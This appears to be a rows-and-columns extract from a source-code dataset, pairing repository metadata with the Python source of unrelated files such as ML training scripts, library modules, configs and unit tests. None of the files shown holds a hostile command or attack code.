"BSD-3-Clause"
] | 2 | 2020-03-30T02:16:08.000Z | 2021-08-11T00:34:07.000Z | from sim.link import Link
from sim.server import Server
from sim.task import Task,TaskPattern
# Base system
# Display info
DEBUG=True
# Name of the configuration
NAME="WiFi Bandwidth 50Mb/s"
# Cloud added latency
cd=7.5
#Links
d2dlink=Link("D2D",50000000., 1.75, 50000000., 1.75)
ltelink=Link("LTE",30000000., 9.95,... | 26.544304 | 70 | 0.69051 |
7988764ccf690218887f34b4305bba93b5b01358 | 24,833 | py | Python | src/sage/quadratic_forms/quadratic_form__equivalence_testing.py | sensen1/sage | d6c5cd9be78cc448ee4c54bac93385b1244a234c | [
"BSL-1.0"
] | 1,742 | 2015-01-04T07:06:13.000Z | 2022-03-30T11:32:52.000Z | src/sage/quadratic_forms/quadratic_form__equivalence_testing.py | sensen1/sage | d6c5cd9be78cc448ee4c54bac93385b1244a234c | [
"BSL-1.0"
] | 66 | 2015-03-19T19:17:24.000Z | 2022-03-16T11:59:30.000Z | src/sage/quadratic_forms/quadratic_form__equivalence_testing.py | sensen1/sage | d6c5cd9be78cc448ee4c54bac93385b1244a234c | [
"BSL-1.0"
] | 495 | 2015-01-10T10:23:18.000Z | 2022-03-24T22:06:11.000Z | """
Equivalence Testing
AUTHORS:
- Anna Haensch (2014-12-01): added test for rational isometry
"""
from sage.arith.all import hilbert_symbol, prime_divisors, is_prime, valuation, GCD, legendre_symbol
from sage.rings.integer_ring import ZZ
from sage.rings.rational_field import QQ
from sage.quadratic_forms.quadratic_... | 35.475714 | 151 | 0.58378 |
798878ffbee49fa76f01e35da946fe6e3badf677 | 2,056 | py | Python | graphreport_metrics/runner.py | usr123321/graphreport | 97f615999ca17dddeb1a75e00392b2fd33cdc546 | [
"MIT"
] | null | null | null | graphreport_metrics/runner.py | usr123321/graphreport | 97f615999ca17dddeb1a75e00392b2fd33cdc546 | [
"MIT"
] | null | null | null | graphreport_metrics/runner.py | usr123321/graphreport | 97f615999ca17dddeb1a75e00392b2fd33cdc546 | [
"MIT"
] | null | null | null | import os
import argparse
from .graphreport import generate_report
from .graphreport import IGNORE_TYPES
from .graphreport import IGNORE_LIBRARIES
from .version import __version__
def parse_options():
parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)
general = parser.ad... | 23.363636 | 95 | 0.598249 |
798879e50453c4f0865df6189bd23f070a296a0c | 255 | py | Python | PyPrograms/tkinter/box/box.py | JymPatel/Python | 6c643339ce12d26071336c87a88e94550cb13ea8 | [
"MIT"
] | null | null | null | PyPrograms/tkinter/box/box.py | JymPatel/Python | 6c643339ce12d26071336c87a88e94550cb13ea8 | [
"MIT"
] | null | null | null | PyPrograms/tkinter/box/box.py | JymPatel/Python | 6c643339ce12d26071336c87a88e94550cb13ea8 | [
"MIT"
] | null | null | null | # This program uses the GPL V3 Licence. Read LICENCE to see it.
# By @bupboi1337
# Editors can put thier names down here:
#
import tkinter # Import Tkinter, the library used to make a GUI.
tk = tkinter.Tk()
tk.mainloop() # Initalize a GUI Window
| 31.875 | 65 | 0.709804 |
79887d430c9a542eefac00bbfd5bb3670853fbf7 | 422 | py | Python | honeycomb/__main__.py | omercnet/honeycomb | 33ea91b5cf675000e4e85dd02efe580ea6e95c86 | [
"MIT"
] | 81 | 2018-04-27T06:03:59.000Z | 2022-03-03T15:54:50.000Z | honeycomb/__main__.py | claudijd/honeycomb | 7aff32b17f6a8e90b3952fcdb2c0d93ac86e3336 | [
"MIT"
] | 141 | 2018-04-25T12:37:20.000Z | 2021-03-25T21:57:49.000Z | honeycomb/__main__.py | claudijd/honeycomb | 7aff32b17f6a8e90b3952fcdb2c0d93ac86e3336 | [
"MIT"
] | 18 | 2018-05-25T10:17:36.000Z | 2021-03-18T16:48:56.000Z | # -*- coding: utf-8 -*-
"""Honeycomb main entry point.
This file allows running honeycomb as a module directly without calling a method
.. code-block:: bash
$ python -m honeycomb --help
"""
from __future__ import absolute_import
import sys
from honeycomb.cli import cli
def main():
"""Provide an entry poin... | 18.347826 | 80 | 0.691943 |
79887d4750a30a7ed5067bde4ffdb7d6e69e9f7b | 147 | py | Python | adafruit_circuitpython_libs/adafruit-circuitpython-bundle-py-20210214/lib/adafruit_apds9960/__init__.py | jacoblb64/pico_rgb_keypad_hid | 3251ca6a98ef86d9f98c54f639c4d61810601a0b | [
"MIT"
] | 47 | 2021-02-15T23:02:36.000Z | 2022-03-04T21:30:03.000Z | adafruit_circuitpython_libs/adafruit-circuitpython-bundle-py-20210214/lib/adafruit_apds9960/__init__.py | jacoblb64/pico_rgb_keypad_hid | 3251ca6a98ef86d9f98c54f639c4d61810601a0b | [
"MIT"
] | 19 | 2018-01-02T20:40:57.000Z | 2022-03-08T19:22:56.000Z | adafruit_circuitpython_libs/adafruit-circuitpython-bundle-py-20210214/lib/adafruit_apds9960/__init__.py | jacoblb64/pico_rgb_keypad_hid | 3251ca6a98ef86d9f98c54f639c4d61810601a0b | [
"MIT"
] | 17 | 2018-01-03T03:02:29.000Z | 2022-03-03T10:18:03.000Z | # SPDX-FileCopyrightText: 2017 Michael McWethy for Adafruit Industries
#
# SPDX-License-Identifier: MIT
"""common include for APDS9960 driver """
| 24.5 | 70 | 0.77551 |
79887d5212f8c9c34755239b5f2f1fc333e09f9a | 14,070 | py | Python | detector/samples/balloon/nespresso.py | vincent841/mask-rcnn-test-python | 94b64790a483180a8729ef44958c90d623665d46 | [
"MIT"
] | null | null | null | detector/samples/balloon/nespresso.py | vincent841/mask-rcnn-test-python | 94b64790a483180a8729ef44958c90d623665d46 | [
"MIT"
] | null | null | null | detector/samples/balloon/nespresso.py | vincent841/mask-rcnn-test-python | 94b64790a483180a8729ef44958c90d623665d46 | [
"MIT"
] | null | null | null | """
Mask R-CNN
Train on the toy Balloon dataset and implement color splash effect.
Copyright (c) 2018 Matterport, Inc.
Licensed under the MIT License (see LICENSE for details)
Written by Waleed Abdulla
------------------------------------------------------------
Usage: import the module (see Jupyter notebooks for ex... | 37.924528 | 94 | 0.587846 |
79887fea4e31016680e103b32779e988f0eb2b53 | 5,123 | py | Python | modules/dbnd/src/targets/fs/mock.py | turbaszek/dbnd | 6efbf3e7ecd175645e8e58d0d015d32fe9e95ea0 | [
"Apache-2.0"
] | null | null | null | modules/dbnd/src/targets/fs/mock.py | turbaszek/dbnd | 6efbf3e7ecd175645e8e58d0d015d32fe9e95ea0 | [
"Apache-2.0"
] | null | null | null | modules/dbnd/src/targets/fs/mock.py | turbaszek/dbnd | 6efbf3e7ecd175645e8e58d0d015d32fe9e95ea0 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
#
# Copyright 2012-2015 Spotify AB
# Modifications copyright (C) 2018 databand.ai
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LI... | 29.107955 | 108 | 0.618973 |
7988802d5514cca0091bfc64e987a2aa228c772b | 1,040 | py | Python | lambda_function.py | nabehide/lambda_headless_chrome_python | 195377239ae94f957dcbdc48f332467480ba3872 | [
"MIT"
] | 17 | 2018-07-13T06:01:39.000Z | 2021-11-22T08:05:08.000Z | lambda_function.py | nabehide/lambda_headless_chrome_python | 195377239ae94f957dcbdc48f332467480ba3872 | [
"MIT"
] | null | null | null | lambda_function.py | nabehide/lambda_headless_chrome_python | 195377239ae94f957dcbdc48f332467480ba3872 | [
"MIT"
] | 2 | 2020-01-31T02:10:17.000Z | 2020-12-07T16:50:56.000Z | from selenium import webdriver
def lambda_handler(event, context):
options = webdriver.ChromeOptions()
options.add_argument("--headless")
options.add_argument("--disable-gpu")
options.add_argument("--window-size=1280x1696")
options.add_argument("--disable-application-cache")
options.add_argume... | 31.515152 | 55 | 0.696154 |
7988809cdaf6fb0c20f04469e7559a9121b5b928 | 3,935 | py | Python | app/tests/test_users.py | SimonAwiti/sentIT-endpoints | 914b5cba4b82442cc7a9a01adaee321948d6abfa | [
"MIT"
] | null | null | null | app/tests/test_users.py | SimonAwiti/sentIT-endpoints | 914b5cba4b82442cc7a9a01adaee321948d6abfa | [
"MIT"
] | null | null | null | app/tests/test_users.py | SimonAwiti/sentIT-endpoints | 914b5cba4b82442cc7a9a01adaee321948d6abfa | [
"MIT"
] | null | null | null | """Unit tests for the users resources"""
import unittest
import json
from app import create_app
class TestUsers(unittest.TestCase):
"""Class containing all tests for the users resource"""
def setUp(self):
"""initializing the tests"""
self.app = create_app('testing')
self.app.config['Te... | 39.747475 | 125 | 0.598475 |
798880c33ee39657b6ec7368d82aad52c5651006 | 19,407 | py | Python | tools/gn_args.py | aslistener/cef | d2bfa62d2df23cec85b6fea236aafb8ceb6f2423 | [
"BSD-3-Clause"
] | null | null | null | tools/gn_args.py | aslistener/cef | d2bfa62d2df23cec85b6fea236aafb8ceb6f2423 | [
"BSD-3-Clause"
] | null | null | null | tools/gn_args.py | aslistener/cef | d2bfa62d2df23cec85b6fea236aafb8ceb6f2423 | [
"BSD-3-Clause"
] | null | null | null | # Copyright 2016 The Chromium Embedded Framework Authors. Portions copyright
# 2012 Google Inc. All rights reserved. Use of this source code is governed by
# a BSD-style license that can be found in the LICENSE file.
# This script determines the contents of the per-configuration `args.gn` files
# that are used to buil... | 33.987741 | 103 | 0.692173 |
798883cb897b0716f0aa6b247165debccca95673 | 6,518 | py | Python | configs/erosive_ulcer_mix/retinanet_r50_fpn_1x_coco_512_ciou_fpn0.py | qilei123/mmdetection_latest | 39dfd45c2e1abdf7f98c0940d72689bab2264a0e | [
"Apache-2.0"
] | null | null | null | configs/erosive_ulcer_mix/retinanet_r50_fpn_1x_coco_512_ciou_fpn0.py | qilei123/mmdetection_latest | 39dfd45c2e1abdf7f98c0940d72689bab2264a0e | [
"Apache-2.0"
] | null | null | null | configs/erosive_ulcer_mix/retinanet_r50_fpn_1x_coco_512_ciou_fpn0.py | qilei123/mmdetection_latest | 39dfd45c2e1abdf7f98c0940d72689bab2264a0e | [
"Apache-2.0"
] | null | null | null | _base_ = '../retinanet/retinanet_r50_fpn_1x_coco.py'
model = dict(
type='RetinaNet',
pretrained='torchvision://resnet50',
backbone=dict(
type='ResNet',
depth=50,
num_stages=4,
out_indices=(0, 1, 2, 3),
frozen_stages=-1,
norm_cfg=dict(type='BN', requires_grad=... | 34.486772 | 78 | 0.531145 |
7988847c173e33a16f03a3b6db366b28a2cdbab5 | 4,396 | py | Python | kubernetes_asyncio/client/models/v1beta1_job_template_spec.py | olitheolix/kubernetes_asyncio | 344426793e4e4b653bcd8e4a29c6fa4766e1fff7 | [
"Apache-2.0"
] | 1 | 2020-03-25T01:24:27.000Z | 2020-03-25T01:24:27.000Z | kubernetes_asyncio/client/models/v1beta1_job_template_spec.py | olitheolix/kubernetes_asyncio | 344426793e4e4b653bcd8e4a29c6fa4766e1fff7 | [
"Apache-2.0"
] | null | null | null | kubernetes_asyncio/client/models/v1beta1_job_template_spec.py | olitheolix/kubernetes_asyncio | 344426793e4e4b653bcd8e4a29c6fa4766e1fff7 | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
"""
Kubernetes
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: v1.10.1
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import si... | 30.527778 | 175 | 0.599181 |
7988856c8825b02fc00c9c8c329c40f96ddb3371 | 141 | py | Python | refinery/units/misc/nop.py | larsborn/refinery | c8b19156b17e5fa5de5c72bc668a14d646584560 | [
"BSD-3-Clause"
] | null | null | null | refinery/units/misc/nop.py | larsborn/refinery | c8b19156b17e5fa5de5c72bc668a14d646584560 | [
"BSD-3-Clause"
] | null | null | null | refinery/units/misc/nop.py | larsborn/refinery | c8b19156b17e5fa5de5c72bc668a14d646584560 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from .. import Unit
class nop(Unit):
"""
Does not change the data.
"""
pass
| 12.818182 | 29 | 0.539007 |
7988859aeb1b8a011578b14d5788df94680112c2 | 1,421 | py | Python | pyamg/krylov/__init__.py | TareqZaman/pyamg | ece7eb38632b5d4618ec4959a23a2ab9956dc232 | [
"MIT"
] | null | null | null | pyamg/krylov/__init__.py | TareqZaman/pyamg | ece7eb38632b5d4618ec4959a23a2ab9956dc232 | [
"MIT"
] | null | null | null | pyamg/krylov/__init__.py | TareqZaman/pyamg | ece7eb38632b5d4618ec4959a23a2ab9956dc232 | [
"MIT"
] | null | null | null | """Krylov solvers.
This module contains several Krylov subspace methods, in addition to two simple
iterations, to solve linear systems iteratively. These methods often use
multigrid as a preconditioner to accelerate convergence to the solution. See [1]_ and [2]_.
Functions
---------
- gmres
- fgmres
- c... | 24.929825 | 92 | 0.708656 |
79888672c68305424628fa699907ef21c2c71f40 | 50,229 | py | Python | src/sagemaker/spark/processing.py | tkazusa/sagemaker-python-sdk | ebcce41260ffa82d535f3a36cc7183fa2ca8c6e1 | [
"Apache-2.0"
] | 1 | 2021-07-22T00:23:51.000Z | 2021-07-22T00:23:51.000Z | src/sagemaker/spark/processing.py | tkazusa/sagemaker-python-sdk | ebcce41260ffa82d535f3a36cc7183fa2ca8c6e1 | [
"Apache-2.0"
] | 24 | 2021-05-18T07:10:27.000Z | 2021-05-28T13:36:51.000Z | src/sagemaker/spark/processing.py | tkazusa/sagemaker-python-sdk | ebcce41260ffa82d535f3a36cc7183fa2ca8c6e1 | [
"Apache-2.0"
] | null | null | null | # Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" file acc... | 42.067839 | 99 | 0.623086 |
798886bb0124e1abd6fa48659407bd4845840f11 | 4,094 | py | Python | mariokart/level_image_gen.py | cappsb/TOAD-GAN | 9a4e89ec9189aa9191adc2074b1dbfdba454a31a | [
"MIT"
] | 84 | 2020-08-05T21:56:35.000Z | 2022-02-25T07:45:56.000Z | mariokart/level_image_gen.py | dedbox/TOAD-GAN | 8a0a84d10f9c5975ae4b1c54f7da99567c8ffd67 | [
"MIT"
] | 3 | 2021-03-21T00:55:31.000Z | 2021-03-26T02:22:00.000Z | mariokart/level_image_gen.py | cappsb/TOAD-GAN | 9a4e89ec9189aa9191adc2074b1dbfdba454a31a | [
"MIT"
] | 14 | 2020-08-06T02:50:38.000Z | 2021-04-08T16:57:52.000Z | import os
from PIL import Image, ImageOps, ImageEnhance
class LevelImageGen:
""" Generates PIL Image files from Mario Kart ascii levels.
Initialize once and then use LevelImageGen.render() to generate images. """
def __init__(self, sprite_path):
""" sprite_path: path to the folder of sprite files... | 41.77551 | 100 | 0.529067 |
7988890c97b2e84169adf6e2309acfc82dc61bcd | 2,191 | py | Python | iexfinance/refdata/__init__.py | dirtyFox27/iexfinance | cae6745fbee2246b010629ab05c62ffbce2c1c9c | [
"Apache-2.0"
] | null | null | null | iexfinance/refdata/__init__.py | dirtyFox27/iexfinance | cae6745fbee2246b010629ab05c62ffbce2c1c9c | [
"Apache-2.0"
] | null | null | null | iexfinance/refdata/__init__.py | dirtyFox27/iexfinance | cae6745fbee2246b010629ab05c62ffbce2c1c9c | [
"Apache-2.0"
] | null | null | null | from iexfinance.refdata.base import Symbols, IEXSymbols, TradingDatesReader, Exchanges, InternationalSymbols
def get_symbols(**kwargs):
"""
Returns array of all symbols that IEX Cloud supports
for API calls
Reference: https://iexcloud.io/docs/api/#symbols
Data Weighting: ``100`` per call
"""
... | 29.213333 | 108 | 0.678686 |
79888970aceeea4d54b6ca114460556677e7d9e3 | 4,940 | py | Python | appengine/monorail/framework/test/reap_test.py | xinghun61/infra | b5d4783f99461438ca9e6a477535617fadab6ba3 | [
"BSD-3-Clause"
] | 2 | 2021-04-13T21:22:18.000Z | 2021-09-07T02:11:57.000Z | appengine/monorail/framework/test/reap_test.py | asdfghjjklllllaaa/infra | 8f63af54e46194cd29291813f2790ff6e986804d | [
"BSD-3-Clause"
] | 21 | 2020-09-06T02:41:05.000Z | 2022-03-02T04:40:01.000Z | appengine/monorail/framework/test/reap_test.py | xinghun61/infra | b5d4783f99461438ca9e6a477535617fadab6ba3 | [
"BSD-3-Clause"
] | null | null | null | # Copyright 2016 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style
# license that can be found in the LICENSE file or at
# https://developers.google.com/open-source/licenses/bsd
"""Tests for the reap module."""
from __future__ import print_function
from __future__ import d... | 39.52 | 79 | 0.720445 |
798889f57b03dfe1fe6f3309b14f50eebfe9e9ee | 55,903 | py | Python | xarray/core/common.py | jenssss/xarray | 43a2a4bdf3a492d89aae9f2c5b0867932ff51cef | [
"Apache-2.0"
] | null | null | null | xarray/core/common.py | jenssss/xarray | 43a2a4bdf3a492d89aae9f2c5b0867932ff51cef | [
"Apache-2.0"
] | null | null | null | xarray/core/common.py | jenssss/xarray | 43a2a4bdf3a492d89aae9f2c5b0867932ff51cef | [
"Apache-2.0"
] | null | null | null | import warnings
from contextlib import suppress
from html import escape
from textwrap import dedent
from typing import (
Any,
Callable,
Dict,
Hashable,
Iterable,
Iterator,
List,
Mapping,
Tuple,
TypeVar,
Union,
)
import numpy as np
import pandas as pd
from . import dtypes, d... | 34.149664 | 102 | 0.559773 |
79888a2390534783d5eb25472d11150fa723382e | 138 | py | Python | src/pyencoder/__init__.py | RESPULTE/PyEncoder | d6739254c1d5b4bc413a90ef92f603fa1edda9b2 | [
"MIT"
] | null | null | null | src/pyencoder/__init__.py | RESPULTE/PyEncoder | d6739254c1d5b4bc413a90ef92f603fa1edda9b2 | [
"MIT"
] | null | null | null | src/pyencoder/__init__.py | RESPULTE/PyEncoder | d6739254c1d5b4bc413a90ef92f603fa1edda9b2 | [
"MIT"
] | null | null | null | from .config import *
from .utils import *
from .HuffmanCoding import *
from .ArithmeticCoding import *
from .RunLengthEncoding import *
| 19.714286 | 32 | 0.775362 |
79888acf6270441c5b230d7e6eea549a3222a889 | 237 | py | Python | discpy/ui/__init__.py | DiscPy/DiscPy | 883e1690ade23b0cc56c671285fcd214d287350a | [
"MIT"
] | 2 | 2021-09-09T10:55:24.000Z | 2021-09-09T10:56:54.000Z | discpy/ui/__init__.py | DiscPy/DiscPy | 883e1690ade23b0cc56c671285fcd214d287350a | [
"MIT"
] | null | null | null | discpy/ui/__init__.py | DiscPy/DiscPy | 883e1690ade23b0cc56c671285fcd214d287350a | [
"MIT"
] | 2 | 2021-10-01T15:03:57.000Z | 2021-10-08T07:24:33.000Z | """
discpy.ui
~~~~~~~~~~~
Bot UI Kit helper for the Discord API
:copyright: (c) 2015-present Rapptz
:license: MIT, see LICENSE for more details.
"""
from .view import *
from .item import *
from .button import *
from .select import *
| 14.8125 | 44 | 0.670886 |
79888b2467c1188056ed94b963daaca8d0cba8e9 | 11,523 | py | Python | old_code/train_AE_fashion_rOBUST.py | ajoshiusc/robust-unet | d72ec684a68623530efa4105694d936218ae6637 | [
"MIT"
] | null | null | null | old_code/train_AE_fashion_rOBUST.py | ajoshiusc/robust-unet | d72ec684a68623530efa4105694d936218ae6637 | [
"MIT"
] | null | null | null | old_code/train_AE_fashion_rOBUST.py | ajoshiusc/robust-unet | d72ec684a68623530efa4105694d936218ae6637 | [
"MIT"
] | null | null | null | from __future__ import print_function
import argparse
import torch
import math
import torch.utils.data
from torch import nn, optim
from torch.nn import functional as F
from torchvision import datasets, transforms
from torchvision.utils import save_image
import numpy as np
from sklearn.model_selection import train_test_... | 32.82906 | 110 | 0.562614 |
79888c220e8397fbd2ca0eff779d464b835c41e4 | 14,731 | py | Python | tests/softlearning/examples/development/main_test.py | kpertsch/softlearning | 51dc7ccfea077aa7f8cca6fe3c70aff9ae740242 | [
"MIT"
] | null | null | null | tests/softlearning/examples/development/main_test.py | kpertsch/softlearning | 51dc7ccfea077aa7f8cca6fe3c70aff9ae740242 | [
"MIT"
] | 9 | 2020-09-26T00:34:00.000Z | 2022-03-12T00:10:52.000Z | tests/softlearning/examples/development/main_test.py | maxiaoba/SoftLearning | 14759ce1b617d91f6ebc45c3297cc27e8480877d | [
"MIT"
] | null | null | null | import copy
import numpy as np
import tensorflow as tf
from examples.development.main import ExperimentRunner
CONFIG = {
'Q_params': {
'kwargs': {
'hidden_layer_sizes': (10, 10),
},
'type': 'double_feedforward_Q_function'
},
'algorithm_params': {
'kwargs': {
... | 37.771795 | 84 | 0.642183 |
79888d6b993f185faf63c097e0935f5b2d688e5e | 1,598 | py | Python | netintel.py | s4n7h0/Scripts | b1ebf955d91e44602809ddd499f2a993ed7279ce | [
"BSD-3-Clause"
] | null | null | null | netintel.py | s4n7h0/Scripts | b1ebf955d91e44602809ddd499f2a993ed7279ce | [
"BSD-3-Clause"
] | null | null | null | netintel.py | s4n7h0/Scripts | b1ebf955d91e44602809ddd499f2a993ed7279ce | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python3
import requests
import sys
import time
import json
API_KEY = ""
def get_records(url):
resp = ''
status = 0
while status != 200:
resp = requests.get(url)
status = resp.status_code
time.sleep(2)
return resp.json()
def process_data(key, title):
... | 23.15942 | 69 | 0.639549 |
79888e05196c3799f58ead5a7a1d071d7c28541f | 98 | py | Python | django_markwhat/models.py | benwhalley/django-markwhat | daa84353df57aa587b87808b8560fdf1f1183b66 | [
"BSD-3-Clause"
] | 14 | 2015-01-19T22:31:20.000Z | 2019-06-29T09:38:36.000Z | django_markwhat/models.py | benwhalley/django-markwhat | daa84353df57aa587b87808b8560fdf1f1183b66 | [
"BSD-3-Clause"
] | 63 | 2015-03-15T19:05:41.000Z | 2021-11-23T19:04:20.000Z | django_markwhat/models.py | benwhalley/django-markwhat | daa84353df57aa587b87808b8560fdf1f1183b66 | [
"BSD-3-Clause"
] | 6 | 2015-03-15T18:48:15.000Z | 2022-01-10T11:06:39.000Z | # No body have right to leave a file complete empty.
# At least 2 lines of comment would be great
| 32.666667 | 52 | 0.755102 |
79888e47fd504e76236fecf5a806dfa7634025cc | 1,018 | py | Python | enroll/migrations/0003_studentrequest.py | maciektr/enrollXchange | 1b579a6e4b92360bade28836686c733581f68c37 | [
"MIT"
] | null | null | null | enroll/migrations/0003_studentrequest.py | maciektr/enrollXchange | 1b579a6e4b92360bade28836686c733581f68c37 | [
"MIT"
] | 10 | 2021-04-08T11:36:41.000Z | 2021-06-05T21:09:31.000Z | enroll/migrations/0003_studentrequest.py | maciektr/enrollXchange | 1b579a6e4b92360bade28836686c733581f68c37 | [
"MIT"
] | 1 | 2021-05-29T20:33:12.000Z | 2021-05-29T20:33:12.000Z | # Generated by Django 3.2 on 2021-05-13 15:41
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('enroll', '0002_auto_20210404_1400'),
]
operations = [
migrations.CreateModel(
name='StudentReques... | 35.103448 | 119 | 0.59725 |
79888ee8e9ab0c9a5626f0aa1eb1b33374fd8dbb | 5,555 | py | Python | configs/wholebody/2d_kpt_sview_rgb_img/associative_embedding/coco-wholebody/hrnet_w32_coco_wholebody_512x512.py | soltkreig/mmpose | f40f7cd63943e54fd06e2aae56b5f046e4afd69f | [
"Apache-2.0"
] | 1 | 2021-09-29T02:19:07.000Z | 2021-09-29T02:19:07.000Z | configs/wholebody/2d_kpt_sview_rgb_img/associative_embedding/coco-wholebody/hrnet_w32_coco_wholebody_512x512.py | soltkreig/mmpose | f40f7cd63943e54fd06e2aae56b5f046e4afd69f | [
"Apache-2.0"
] | null | null | null | configs/wholebody/2d_kpt_sview_rgb_img/associative_embedding/coco-wholebody/hrnet_w32_coco_wholebody_512x512.py | soltkreig/mmpose | f40f7cd63943e54fd06e2aae56b5f046e4afd69f | [
"Apache-2.0"
] | null | null | null | _base_ = ['../../../../_base_/datasets/coco_wholebody.py']
log_level = 'INFO'
load_from = None
resume_from = None
dist_params = dict(backend='nccl')
workflow = [('train', 1)]
checkpoint_config = dict(interval=50)
evaluation = dict(interval=50, metric='mAP', key_indicator='AP')
optimizer = dict(
type='Adam',
lr... | 28.055556 | 75 | 0.573537 |
798890b69c94d7a93386e2e16f485c827f2f2241 | 1,182 | py | Python | linear_model.py | deganii/ViolinResponse | bf31f339bdb219ea93b2eaa18eab51cbc85fa382 | [
"MIT"
] | 2 | 2018-06-29T03:51:05.000Z | 2018-10-11T15:10:42.000Z | linear_model.py | deganii/ViolinResponse | bf31f339bdb219ea93b2eaa18eab51cbc85fa382 | [
"MIT"
] | null | null | null | linear_model.py | deganii/ViolinResponse | bf31f339bdb219ea93b2eaa18eab51cbc85fa382 | [
"MIT"
] | 1 | 2018-06-28T20:51:43.000Z | 2018-06-28T20:51:43.000Z | #!env python3
import numpy as np
import wavio
import scipy.signal
import scipy.fftpack
import math
import sys
from scipy.fftpack import fft, ifft
# Generate the best linear approximation (BLA) of the system
# Note: The Fourier Transform IS the best least squares fit!
# Credit to Pascal Brunet:
# Nonlinear System Mode... | 29.55 | 75 | 0.604061 |
798892b49b7a3c382c4a330648a67e5e556dc59e | 2,207 | py | Python | test/auth.py | PalmerBSocrata/socrata-py | 794a41bcbe50c7556c670681f5e38cb2366f8dcc | [
"Apache-2.0"
] | null | null | null | test/auth.py | PalmerBSocrata/socrata-py | 794a41bcbe50c7556c670681f5e38cb2366f8dcc | [
"Apache-2.0"
] | null | null | null | test/auth.py | PalmerBSocrata/socrata-py | 794a41bcbe50c7556c670681f5e38cb2366f8dcc | [
"Apache-2.0"
] | null | null | null | import os
from socrata.authorization import Authorization
from socrata import Socrata
import logging
import unittest
auth = Authorization(
os.environ['SOCRATA_DOMAIN'],
os.environ['SOCRATA_USERNAME'],
os.environ['SOCRATA_PASSWORD']
)
if auth.domain == 'localhost':
auth.live_dangerously()
import logging
l... | 27.5875 | 71 | 0.571364 |
79889339ee26fb6253871438b6cc3d4c6b6700e9 | 221 | py | Python | leetcode/AC/Easy/xor-operation-in-an-array.py | AHJenin/acm-type-problems | e2a6d58fe8872ceaed822f5ee8911bfc173c6192 | [
"MIT"
] | 4 | 2018-05-17T08:37:53.000Z | 2018-06-08T18:47:21.000Z | leetcode/AC/Easy/xor-operation-in-an-array.py | arafat-hasan/acm-type-problems | e2a6d58fe8872ceaed822f5ee8911bfc173c6192 | [
"MIT"
] | null | null | null | leetcode/AC/Easy/xor-operation-in-an-array.py | arafat-hasan/acm-type-problems | e2a6d58fe8872ceaed822f5ee8911bfc173c6192 | [
"MIT"
] | null | null | null | class Solution:
def xorOperation(self, n: int, start: int) -> int:
nums = [0 for i in range(n)]
for i in range(n):
nums[i] = start + 2 * i
return reduce(lambda x, y: x ^ y, nums)
| 24.555556 | 54 | 0.515837 |
7988939163f438ebed0433f7e5c0f5f5636614a2 | 7,436 | py | Python | annotator/tests/test_views.py | fossabot/django-annotator | 1151c7628dade8b600719e3653a79e1c53b16340 | [
"Apache-2.0"
] | 11 | 2017-02-21T11:31:10.000Z | 2019-06-19T08:44:15.000Z | annotator/tests/test_views.py | fossabot/django-annotator | 1151c7628dade8b600719e3653a79e1c53b16340 | [
"Apache-2.0"
] | 5 | 2017-02-21T18:31:44.000Z | 2020-03-06T09:10:40.000Z | annotator/tests/test_views.py | fossabot/django-annotator | 1151c7628dade8b600719e3653a79e1c53b16340 | [
"Apache-2.0"
] | 5 | 2017-03-27T18:45:41.000Z | 2020-03-06T09:11:18.000Z | import json
from django.conf import settings
from django.core.urlresolvers import reverse
from django.test import TestCase
from rest_framework.test import APIClient
import annotator
from annotator import models
class RootTestCase(TestCase):
"""
See the documentation for the
`root <http://docs.annotator... | 32.330435 | 88 | 0.589699 |
79889492aa5c48241c681fd34841af99d25152a5 | 4,660 | py | Python | tests/partition/test_partition.py | apizzimenti/GerryChain | 8acd44c694381e3d6c4e317150095e2e4619caad | [
"BSD-3-Clause"
] | null | null | null | tests/partition/test_partition.py | apizzimenti/GerryChain | 8acd44c694381e3d6c4e317150095e2e4619caad | [
"BSD-3-Clause"
] | null | null | null | tests/partition/test_partition.py | apizzimenti/GerryChain | 8acd44c694381e3d6c4e317150095e2e4619caad | [
"BSD-3-Clause"
] | null | null | null | import json
import pathlib
from tempfile import TemporaryDirectory
import networkx
import pytest
from gerrychain.partition import GeographicPartition, Partition
from gerrychain.proposals import propose_random_flip
from gerrychain.updaters import cut_edges
def test_Partition_can_be_flipped(example_partition):
fl... | 30.064516 | 86 | 0.688412 |
7988960218613cd446e8c1d3ddfd1e82ebdba385 | 74,889 | py | Python | tensorflow/python/keras/layers/recurrent_v2.py | aymara/tensorflow | 84e5e832c1de1df3bbedb007c45a8384f175d7d5 | [
"Apache-2.0"
] | 10 | 2021-04-29T16:31:02.000Z | 2021-08-10T13:17:55.000Z | tensorflow/python/keras/layers/recurrent_v2.py | aymara/tensorflow | 84e5e832c1de1df3bbedb007c45a8384f175d7d5 | [
"Apache-2.0"
] | 88 | 2020-11-24T08:18:10.000Z | 2022-03-25T20:28:30.000Z | tensorflow/python/keras/layers/recurrent_v2.py | aymara/tensorflow | 84e5e832c1de1df3bbedb007c45a8384f175d7d5 | [
"Apache-2.0"
] | 9 | 2020-11-06T22:50:15.000Z | 2021-12-30T01:45:55.000Z | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 41.697661 | 83 | 0.684613 |
79889635109ec6e977a98aee61457dca14fa9b0a | 2,422 | py | Python | dogstream/cassandra.py | Mattlk13/dd-agent | 167d0c0ed8d7b66a531dd0c21097f0fa2fba8960 | [
"BSD-3-Clause"
